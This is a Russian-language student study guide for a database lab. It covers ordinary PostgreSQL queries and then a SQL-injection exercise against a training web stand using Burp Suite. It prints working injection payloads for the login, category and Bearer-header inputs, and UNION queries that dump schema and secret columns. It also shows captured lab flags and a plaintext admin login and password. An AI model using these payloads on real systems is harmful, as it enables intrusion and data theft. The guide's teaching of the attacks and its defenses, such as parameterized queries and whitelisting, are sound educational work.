

Теоретическая справка к ЛРЗ

«Манипулирование данными и инъекции в языки запросов»

Дисциплина: «Системы управления базами данных»

Подготовка к защите: что делалось, зачем и как это работает

СПбПУ, 2026

Содержание

1. Общая идея ЛРЗ
2. Почему использовалась отдельная база subd_lab3
3. Реляционная модель и две таблицы
4. Первая часть: SQL-запросы
5. SQLi как нарушение границы между данными и кодом
6. Работа через Burp Suite и разведка API
7. SQLi в /api/login
8. UNION SELECT и извлечение структуры БД
9. Получение флагов и PostgreSQL-характеристик
10. Дополнительные SQLi-векторы
11. Ошибки, debug-режим и сопутствующие наблюдения
12. Защита от SQL-инъекций
13. Что отвечать на защите
14. Итоговая карта выполненной работы

1. Общая идея ЛРЗ

ЛРЗ называется «Манипулирование данными и инъекции в языки запросов». Ее смысл состоит в том, чтобы показать две стороны работы с SQL. С одной стороны, SQL используется как нормальный инструмент анализа и извлечения данных из реляционной базы. С другой стороны, если приложение неправильно строит SQL-запросы из пользовательского ввода, тот же SQL становится поверхностью атаки.

Первая часть лабораторной работы относится к обычному манипулированию данными. В ней нужно составить SQL-запросы к отношениям предметной области: отфильтровать документы, сгруппировать их по сотрудникам, обработать даты, проверить выполнение набора операций и получить корректный результат.

Вторая часть относится к SQL-инъекциям. В ней исследуется удаленный учебный web-стенд. Основная идея этой части: если пользовательский ввод попадает в SQL-запрос как часть SQL-кода, а не как значение параметра, то можно изменить логику запроса, обойти авторизацию или извлечь данные, которые приложение не должно было возвращать.

Часть работы	Что проверяется	Ключевой смысл
Первая часть	Составление SQL-запросов к documents и document_operations	Легитимное извлечение данных через WHERE, GROUP BY, HAVING, EXTRACT, NOT EXISTS, UNION
Вторая часть	Эксплуатация SQLi на web-стенде Cheerful-Island	Понимание, как пользовательский ввод может изменить SQL-запрос приложения
Защита	Параметризованные запросы, whitelist, ограничение прав	Устранение возможности выполнить ввод пользователя как SQL-код

2. Почему использовалась отдельная база subd_lab3

Для первой части была создана отдельная база данных subd_lab3 в Docker-контейнере PostgreSQL. Хотя схема отношений была унаследована из варианта ЛР1, сама ЛРЗ выполнялась независимо. Это важно для воспроизводимости: старые роли, политики доступа, RLS или тестовые изменения из ЛР1 не должны влиять на результаты новых SQL-запросов.

Отдельная база позволяет явно показать последовательность действий: создать таблицы, заполнить их тестовыми данными, проверить количество строк, выполнить три запроса и сохранить результаты в логах. Поэтому при защите можно объяснить не только итоговый результат, но и путь его получения.

В ЛРЗ предметная область используется как источник данных для запросов, а не как продолжение настройки разграничения доступа из ЛР1. Поэтому в отчете правильно делать акцент не на GRANT/RLS, а на SQL-запросах и SQLi-части.

3. Реляционная модель и две таблицы

В первой части используются два отношения: documents и document_operations. Таблица documents хранит сведения о документах организации: номер, тип, ответственного сотрудника, содержимое, подразделение, даты действия и степень секретности. Таблица document_operations хранит журнал действий сотрудников над документами.

Такое разделение соответствует нормальной реляционной модели. Документ является самостоятельной сущностью, а операция - событием, связанным с документом. Если хранить все операции прямо в documents, пришлось бы дублировать данные документа или создавать множество полей для разных операций. Внешний ключ document_operations.document_number связывает операцию с конкретным документом.

Отношение	Назначение	Ключевые поля
documents	Основные сведения о документах организации	document_number - PK; secrecy_level; responsible_employee; effective_until
document_operations	Журнал операций с документами	employee_name + document_number + change_date - PK; document_number - FK

4. Первая часть: SQL-запросы

4.1. Запрос 1: ответственные более чем за один секретный документ

Первый запрос ищет сотрудников, которые отвечают более чем за один секретный документ заданной степени секретности. Логика запроса состоит из четырех шагов: отобрать документы нужной степени секретности, сгруппировать строки по ответственному сотруднику, посчитать количество документов в каждой группе и оставить только группы, где количество больше одного.

```
\set secrecy_level_param ''секретно''

SELECT
    d.responsible_employee AS responsible_employee,
    COUNT(*) AS secret_documents_count
FROM documents d
WHERE d.secrecy_level = :secrecy_level_param
GROUP BY d.responsible_employee
HAVING COUNT(*) > 1
ORDER BY d.responsible_employee;
```

WHERE применяется до группировки и отбрасывает документы другой степени секретности. GROUP BY формирует группы по ответственным сотрудникам. COUNT(*) считает количество документов в группе. HAVING применяется после группировки, поэтому именно он используется для условия «более одного документа». Результат Сотрудник_A - 2 показывает, что тестовые данные подобраны корректно.

4.2. Запрос 2: документы, срок окончания которых не входит в заданные месяцы

Второй запрос выбирает документы, дата окончания действия которых относится к заданному году, но месяц окончания не входит в заданный перечень. Важная особенность - поле effective_until может быть NULL, а у NULL нельзя извлечь месяц или год в обычном бизнес-смысле.

```
\set year_param 2025
\set months_param 'ARRAY[5,6,7]::int[]'

SELECT
    d.document_number,
    d.responsible_employee,
    d.effective_until,
    EXTRACT(MONTH FROM d.effective_until)::int AS effective_until_month
FROM documents d
WHERE d.effective_until IS NOT NULL
    AND EXTRACT(YEAR FROM d.effective_until)::int = :year_param
    AND NOT (EXTRACT(MONTH FROM d.effective_until)::int = ANY(:months_param))
ORDER BY d.effective_until, d.document_number;
```

Условие effective_until IS NOT NULL нужно, потому что NULL в SQL означает неопределенное значение. Сравнения с NULL дают UNKNOWN, а не TRUE или FALSE. В WHERE проходят только строки, для которых условие истинно. Поэтому неопределенные даты нужно обрабатывать явно. В результате были выбраны DOC-003, DOC-008 и DOC-010: март, август и октябрь 2025 года.

4.3. Запрос 3: все операции или ответственный без собственных операций

Третий запрос сложнее, потому что содержит две альтернативные логики: сотрудник либо выполнил все операции из заданного перечня по какому-либо документу, либо является ответственным за документ, по которому он сам не выполнял операций.

```
\set possible_operations 'ARRAY[''Создание документа'', ''Проверка документа'', ''Согласование документа'']::text[]'
```

```

SELECT DISTINCT result.employee_name
FROM
(
  SELECT DISTINCT op.employee_name
  FROM document_operations op
  WHERE NOT EXISTS
  (
    SELECT 1
    FROM unnest(:possible_operations) AS possible_operation(operation_description)
    WHERE NOT EXISTS
    (
      SELECT 1
      FROM document_operations op_check
      WHERE op_check.employee_name = op.employee_name
            AND op_check.document_number = op.document_number
            AND op_check.operation_description = possible_operation.operation_description
    )
  )
)
UNION

SELECT d.responsible_employee AS employee_name
FROM documents d
WHERE NOT EXISTS
(
  SELECT 1
  FROM document_operations op
  WHERE op.document_number = d.document_number
        AND op.employee_name = d.responsible_employee
)
) AS result
ORDER BY result.employee_name;

```

Первая часть выражает условие «для всех операций из перечня». В SQL нет отдельного оператора деления реляционной алгебры, поэтому используется двойной NOT EXISTS: не существует обязательной операции, для которой не существует фактической операции сотрудника по документу. Вторая часть ищет ответственных сотрудников, для которых не существует их собственной операции по закрепленному документу. UNION объединяет две альтернативы и убирает дубликаты.

5. SQLi как нарушение границы между данными и кодом

SQL-инъекция возникает, когда пользовательский ввод включается в SQL-запрос как часть SQL-кода. Проблема находится не в SQL как языке, а в том, как backend строит запрос. Если используется конкатенация строк или f-string, пользователь может ввести фрагмент SQL и изменить структуру запроса.

```

# Небезопасная схема
query = f"SELECT * FROM users WHERE login = '{username}' AND password = '{password}'"

```

Если в password передать строку ' OR 1=1--, то она закрывает строковый литерал, добавляет истинное условие OR 1=1 и комментирует остаток запроса. В результате проверка пароля обходится.

```

SELECT *
FROM users
WHERE login = 'admin'
      AND password = '' OR 1=1-- '

```

Главная формулировка для защиты: пользовательский ввод перестал быть данными и стал исполняемым SQL-кодом. Правильная защита должна восстановить границу между SQL-кодом и значениями параметров.

6. Работа через Burp Suite и разведка API

Burp Suite использовался как инструмент контроля HTTP-запросов. Браузер показывает интерфейс, но не всегда удобно показывает реальные API-запросы. Burp позволяет видеть метод, URL, заголовки, cookies, JSON-тело запроса, HTTP-статус и тело ответа.

В работе использовался Burp Repeater. Это важно: Repeater позволяет взять один реальный запрос, изменить один параметр и вручную отправить его снова. Автоматизированные сканеры, sqlmap, Intruder и Active Scan не использовались, чтобы не создавать лишнюю нагрузку на учебный портал.

При пассивной разведке были найдены основные API-ручки приложения: /api/products, /api/categories, /api/products?category=..., /api/login, /api/orders, /api/profile, /api/profile/favorites, /api/profile/reviews. Далее проверялись именно те параметры, которые могли попадать в SQL-запросы backend-a.

Тип входных данных	Пример в работе	Почему опасно
JSON body	username/password в POST /api/login	Может попасть в SQL-запрос авторизации
Query parameter	category в GET /api/products?category=...	Может попасть в WHERE category = ...
HTTP header	Authorization: Bearer ...	Может использоваться как login в запросе профиля
Path parameter	/api/products/{article}	Проверялся, но SQLi не подтвердилась из-за маршрутизации

7. SQLi в /api/login

7.1. Обход авторизации

Главной точкой стала ручка POST /api/login. Она принимает username и password, а значит, вероятно, обращается к таблице users. Первый успешный payload был передан в поле password.

```
{"username": "admin", "password": "' OR 1=1-- "}
```

Сервер вернул 200 OK и Set-Cookie: user=admin. Также в ответе была раскрыта строка пользователя side_product@hotmail.com с паролем и ролью user. Это подтвердило, что параметры username/password небезопасно подставляются в SQL-запрос, а результат SQL-запроса выводится в ответ.

7.2. Почему RealDictRow стал каналом вывода

В нормальном API login не должен возвращать внутренний объект пользователя. Достаточно ответа «успешно» или «неверные учетные данные». На стенде backend возвращал RealDictRow({...}), то есть содержимое строки из базы. Из-за этого SQLi стала не слепой, а напрямую выводящей данные.

Это важно: даже если SQLi существует, эксплуатация может быть сложной, если нет канала вывода. В нашем случае канал вывода был очень удобным: значения из SELECT попадали прямо в JSON-ответ login.

8. UNION SELECT и извлечение структуры БД

8.1. Как работает UNION-based SQLi

UNION объединяет результаты двух SELECT-запросов. При SQLi можно добавить свой SELECT к исходному запросу приложения. Но для этого должны совпасть количество столбцов и совместимость типов.

```
{"username": "x", "password": "' UNION SELECT 'test_login', 'test_password', 'test_role'-- "}
```

Ответ с test_login, test_password и test_role показал, что исходный запрос авторизации возвращает три колонки, совместимые с текстом. После этого поле password в ответе можно использовать как канал вывода больших строк.

8.2. Зачем использовалась information_schema

information_schema - это набор системных представлений, через которые можно узнать структуру базы: таблицы, колонки, схемы и типы данных. В SQLi это используется как этап разведки: сначала неизвестно, где лежат интересующие данные, поэтому нужно получить карту БД.

```
{"username": "x", "password": "' UNION SELECT 'tables', string_agg(table_schema || '.' || table_name, ' ' FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema'))-- "}
```

Так был получен список таблиц: users, user_personal_info, product_categories, products, orders, payments, favorite_products, reviews, price_history, shipping_addresses.

```
{ "username": "x", "password": "" UNION SELECT 'columns', string_agg(table_schema || '.' || table_name ||
'.' || column_name, ';' ), 'x' FROM information_schema.columns WHERE table_schema NOT IN
('pg_catalog', 'information_schema')-- "}
```

После получения списка колонок стало видно, что во многих таблицах есть поле secret. Это дало направление для поиска флагов.

9. Получение флагов и PostgreSQL-характеристик

9.1. Почему флаги искали в secret

По условию стенда нужно было найти три флага формата `ibks1_{...}`, `ibks2_{...}`, `ibks3_{...}`. После разведки колонок стало видно, что в пользовательских таблицах есть поля secret. Это типичный учебный маркер: флаги спрятаны внутри бизнес-таблиц, а не обязательно лежат в отдельной таблице flags.

Для поиска использовался объединенный запрос по всем найденным secret-колонкам. Фильтрация по подстроке `ibks` была сделана через `position('ibks' in lower(secret)) > 0`, потому что вариант с `ILIKE '%ibks%'` вызвал проблему с символом процента в связке с `psycorp2`.

```
{ "username": "x", "password": "" UNION SELECT 'secrets', COALESCE(string_agg(src || '=' ||
secret, '; '), 'NO_IBKS_SECRET_FOUND'), 'x' FROM (SELECT 'reviews' AS src, secret::text AS
secret FROM reviews WHERE secret IS NOT NULL UNION ALL SELECT 'price_history',
secret::text FROM price_history WHERE secret IS NOT NULL UNION ALL SELECT
'shipping_addresses', secret::text FROM shipping_addresses WHERE secret IS NOT NULL UNION
ALL SELECT 'favorite_products', secret::text FROM favorite_products WHERE secret IS NOT
NULL UNION ALL SELECT 'user_personal_info', secret::text FROM user_personal_info WHERE
secret IS NOT NULL UNION ALL SELECT 'product_categories', secret::text FROM
product_categories WHERE secret IS NOT NULL UNION ALL SELECT 'products', secret::text FROM
products WHERE secret IS NOT NULL UNION ALL SELECT 'orders', secret::text FROM orders
WHERE secret IS NOT NULL UNION ALL SELECT 'payments', secret::text FROM payments WHERE
secret IS NOT NULL) s WHERE position('ibks' in lower(secret)) > 0-- "}
```

Источник	Флаг
user_personal_info.secret	ibks1_{653b6e69e46c8}
products.secret	ibks2_{9a7d9c2fcbeaf}
reviews.secret	ibks3_{93f8739c36549}

Итоговый ответ собирается строго по порядку `ibks1`, `ibks2`, `ibks3`, без префиксов и фигурных скобок.

```
secret_653b6e69e46c89a7d9c2fcbeaf93f8739c36549
```

9.2. Зачем получались характеристики PostgreSQL

Получение характеристик PostgreSQL показывает, что SQLi позволяет выйти за пределы бизнес-логики приложения. Через уязвимость можно читать не только товары или пользователей, но и служебную информацию о СУБД.

Что получали	Зачем это важно
<code>version()</code>	Определение версии PostgreSQL и окружения сборки
<code>current_database()</code>	Имя текущей БД, связанной с UUID стенда
<code>current_user</code>	Пользователь БД, от имени которого работает backend
<code>current_schema()</code>	Активная схема, в нашем случае public
<code>inet_server_addr()</code> , <code>inet_server_port()</code>	Адрес и порт PostgreSQL внутри сети стенда
<code>current_setting('max_connections')</code>	Максимальное число подключений PostgreSQL
<code>pg_stat_activity</code>	Текущее количество активностей/подключений

В работе были получены: PostgreSQL 15.12, база 281597ea_a798_410d_9e81_43bb6b4ce978, пользователь `sqli_user`, схема `public`, адрес 172.18.0.6/32:5432, `max_connections` = 100, `pg_stat_activity count` = 26.

9.3. Получение администратора

Через таблицу users был получен пользователь с ролью admin: everybody_use@rambler.ru с паролем (WUM70hl*5gaAQfg. После этого была выполнена обычная авторизация под этим пользователем, и личный кабинет открылся.

Это показывает практическую опасность SQLi. Уязвимость в одной форме login позволила не только найти учебные флаги, но и извлечь учетные данные администратора приложения. В реальной системе это означало бы компрометацию привилегированной учетной записи.

Также это указывает на отдельную проблему: пароли не должны храниться в открытом виде. В реальных системах нужно хранить не пароль, а медленный хеш с солью, например bcrypt или Argon2.

10. Дополнительные SQLi-векторы

10.1. SQLi в параметре category

Параметр category в /api/products?category=... оказался вторым независимым SQLi-вектором. Сначала была подтверждена boolean-based SQLi: истинное условие вернуло список товаров, ложное - пустой массив.

```
category=x' OR '1'='1'--
category=x' AND '1'='2'--
```

Затем был подтвержден UNION-based вариант. Первая попытка дала ошибку типов, что нормально для UNION-based SQLi: нужно подобрать количество и порядок колонок. После исправления типов искусственная строка товара появилась в JSON-ответе.

```
category=x' UNION SELECT 1,'cat','desc','name',1.00,1,true--
```

Это доказывает, что уязвимость приложения не ограничивалась формой логина. Backend в нескольких местах строил SQL-запросы через небезопасную подстановку пользовательских данных.

10.2. SQLi в Authorization Bearer

Еще один интересный вектор - заголовок Authorization: Bearer <login>. Судя по поведению, backend использовал значение Bearer как login в SQL-запросе профиля. Обычный payload с пробелами мог ломаться из-за разбора заголовка, поэтому использовались SQL-комментарии вместо пробелов.

```
Authorization: Bearer x'/**/OR/**/'1'='1'--
```

Для SQL комментарии /**/ разделяют токены аналогично пробелам, но для простого парсера заголовка это остается одной непрерывной строкой. В результате /api/profile вернул профиль другого пользователя, что подтвердило SQLi в заголовке авторизации.

Этот случай важен методически: SQLi может находиться не только в видимых полях формы, но и в HTTP-заголовках, cookie, JSON-теле, query-параметрах и других входных данных, если backend использует их в SQL.

10.3. Почему path-параметр article не подтвердился

Проверялся также path-параметр /api/products/{article}. Обычный запрос по артикулу возвращал карточку товара, но попытки добавить OR 1=1 или AND 1=2 приводили к 404 Not Found. Это означает, что запрос, вероятно, отсекается на уровне маршрутизации Flask и не доходит до SQL-запроса.

Это тоже полезный результат: не каждая точка ввода обязательно уязвима. В отчете корректно фиксировать как положительные, так и отрицательные проверки.

11. Ошибки, debug-режим и сопутствующие наблюдения

11.1. Ошибка datetime(unknown)

При проверке некоторых write-endpoints появлялась ошибка function datetime(unknown) does not exist. Это не основная SQLi-уязвимость, а дефект совместимости SQL-кода. Функция datetime('now') характерна для SQLite, а в PostgreSQL обычно используются now() или CURRENT_TIMESTAMP.

Такое наблюдение показывает, что backend мог быть написан с учетом SQLite, а затем перенесен на PostgreSQL не полностью. В реальной системе такие ошибки приводят к отказу функциональности и раскрытию технической информации.

11.2. Почему Werkzeug Debugger опасен

Во время ошибок сервер возвращал traceback Werkzeug Debugger. В учебном стенде это помогает изучать уязвимость, но в реальной системе это критичная проблема. Debugger раскрывает пути файлов, строки кода, имена функций, используемые библиотеки, тип ошибки СУБД и место формирования SQL-запроса.

Если злоумышленник видит строку вида query = f"SELECT * FROM users WHERE login = ...", ему уже не нужно гадать, как устроена авторизация. Поэтому debug-режим должен быть отключен, а подробные ошибки должны уходить только в серверные логи.

12. Защита от SQL-инъекций

12.1. Почему фильтрация символов недостаточна

Интуитивная, но слабая защита - запретить кавычки, UNION, OR или комментарии. Такой подход ненадежен, потому что SQL допускает много обходов: изменение регистра, комментарии вместо пробелов, URL-кодирование, Unicode-варианты, конкатенацию строк, альтернативные функции и особенности разных СУБД.

В самой работе использовался обход через /**/ вместо пробелов в Bearer payload. Это хороший пример того, почему фильтрация не должна быть основной защитой.

12.2. Параметризованные запросы

Главная защита - параметризованные запросы. В них SQL-код и значения пользовательских параметров передаются в СУБД отдельно. Даже если пользователь вводит строку ' OR 1=1--, драйвер передает ее как строковое значение, а не как SQL-код.

```
# Небезопасно
query = f"SELECT * FROM users WHERE login = '{username}' AND password = '{password}'"
cursor.execute(query)

# Безопаснее
query = "SELECT * FROM users WHERE login = %s AND password = %s"
cursor.execute(query, (username, password))
```

После параметризации payload ' OR 1=1-- не меняет структуру запроса. СУБД ищет пароль, который буквально равен этой строке, и авторизация не проходит.

12.3. Защита динамических частей SQL через whitelist

Параметризовать удобно значения в WHERE, но нельзя обычным параметром безопасно передать имя столбца или направление сортировки. Если приложение строит ORDER BY из пользовательского параметра, нужен whitelist допустимых значений.

```
allowed_sort_columns = {
    "name": "name",
    "price": "price",
    "released": "released"
}

sort_column = allowed_sort_columns.get(user_sort, "name")
```

```

query = (
    "SELECT article, name, price\n"
    "FROM products\n"
    f"ORDER BY {sort_column}"
)

```

Это закрывает теоретически оставшуюся возможность инъекции в динамические части запроса, которые не являются обычными значениями данных.

12.4. Дополнительные меры защиты

- Отключить debug-режим и не возвращать traceback пользователю.
- Не возвращать RealDictRow и внутренние объекты БД в API-ответах.
- Не хранить пароли в открытом виде; использовать bcrypt, Argon2 или другой надежный алгоритм хеширования с солью.
- Не использовать login как Bearer-токен; применять серверные сессии или подписанные токены.
- Ограничить права пользователя БД по принципу least privilege.
- Обращивать ошибки единообразно и без раскрытия внутренней структуры приложения.
- Тестировать SQL-код под конкретную СУБД, чтобы не было ошибок вида datetime(unknown) в PostgreSQL.

13. Что отвечать на защите

13.1. Короткое объяснение всей цепочки SQLi

Сначала через Burp были определены API-ручки приложения. Основной точкой стала POST /api/login, потому что она принимает username/password и обращается к users. Payload ' OR 1=1-- в password дал 200 OK, что подтвердило обход авторизации. Затем был проверен UNION SELECT с тремя текстовыми колонками: test_login, test_password, test_role появились в RealDictRow. Это дало канал вывода данных.

Через information_schema.tables и information_schema.columns была получена структура БД. После этого были найдены secret-колонки и извлечены три флага. Через тот же канал были получены version(), current_database(), current_user, current_schema(), max_connections и учетная запись администратора. Дополнительно были подтверждены SQLi в category и Authorization Bearer.

13.2. Типовые вопросы и короткие ответы

Вопрос	Короткий ответ
Почему это SQLi?	Пользовательский ввод изменил структуру SQL-запроса и стал SQL-кодом.
Почему UNION SELECT сработал?	Исходный login-запрос возвращал три колонки, и были подобраны три совместимых текстовых значения.
Почему category сначала дал ошибку типов?	Для UNION должны совпадать типы колонок; первая попытка перепутала integer/boolean, потом порядок был исправлен.
Зачем /**/ в Bearer payload?	Обычные пробелы могли ломать разбор Bearer-токена; SQL-комментарии заменяют пробелы для SQL, но остаются частью одной строки.
Почему фильтрация кавычек плохая защита?	Есть обходы через комментарии, регистр, кодирование, альтернативный синтаксис и особенности СУБД.
Главная защита?	Параметризованные запросы для значений и whitelist для динамических частей SQL.

14. Итоговая карта выполненной работы

В первой части были продемонстрированы легитимные приемы SQL: фильтрация, группировка, агрегирование, работа с датами, учет NULL, NOT EXISTS, UNION и входные параметры запросов.

Во второй части были найдены и использованы несколько SQLi-векторов: JSON-параметр password в /api/login, query-параметр category в /api/products и HTTP-заголовок Authorization Bearer в /api/profile. Через основной UNION-канал были получены структура БД, флаги, сведения о PostgreSQL, администратор приложения и подтверждение успешной сдачи лабораторной.

Этап	Что было сделано	Зачем
Разведка API	Найдены основные endpoint-ы приложения	Понять, какие параметры попадают на backend
Auth bypass	Payload ' OR 1=1-- в password	Подтвердить SQLi и обход авторизации
UNION test	UNION SELECT test_login/test_password/test_role	Подобрать количество и типы колонок
information_schema	Получены таблицы и колонки	Найти, где могут лежать флаги
secret columns	Получены ibks1, ibks2, ibks3	Собрать итоговый ответ для портала
PostgreSQL info	Получены version, database, user, schema, max_connections	Показать уровень доступа через SQLi
Admin account	Получен и проверен пользователь admin	Показать практический риск компрометации учетных записей
Additional vectors	category SQLi и Bearer SQLi	Доказать, что проблема не ограничена одной формой
Protection	Параметризация, whitelist, сессии, least privilege	Показать, как закрывать уязвимости

Главный вывод: SQL-инъекция является следствием нарушения границы между данными и кодом. Если пользовательский ввод передается в СУБД как значение параметра, а динамические части SQL проходят whitelist, то использованные в работе payload-ы не смогут изменить структуру запроса.